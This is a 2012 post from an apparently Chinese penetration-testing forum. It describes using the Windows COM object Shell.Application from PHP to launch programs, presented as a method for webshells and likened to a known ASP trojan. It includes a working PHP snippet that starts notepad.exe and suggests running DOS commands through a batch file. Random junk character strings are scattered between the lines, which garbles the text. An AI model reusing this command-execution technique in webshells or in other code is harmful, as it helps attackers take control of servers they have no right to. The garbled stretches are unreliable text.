中国网络渗透测试联盟
标题:
php和asp利用Shell.Application来执行程序
[打印本页]
作者:
admin
时间:
2012-9-15 14:29
标题:
php和asp利用Shell.Application来执行程序
关于用Shell.Application来执行程序，在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
" }/ X, y# B- q
7 R! z- H% u0 K% F5 f
今天试了一下，用open也可以。php代码如下，我好像还没有在php的webshell中看到相关方法
% d+ @6 @4 E$ x1 }, X# G0 i3 ~
# i/ G* e' k3 Z) d1 M5 J: S
<?php
% l: _) J) g, Q, G3 y& W% D* e% N
$wsh = new COM('Shell.Application') or die("Shell.Application");
+ B* J$ i3 _5 R! Q8 o
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
3 a) g4 c" p/ ?5 A# {" D
//没有回显，多了个notepad进程，可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
! A3 w1 Y* W) b% G4 P8 a( x
?>
4 }, t, k* b, B. N
9 S1 c: p( @0 w" m4 z0 F2 p3 I
xp+APMServ5.2.0测试通过。
4 O! u2 u) {! b' l/ ?3 Z* ]- Z7 Y$ e
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2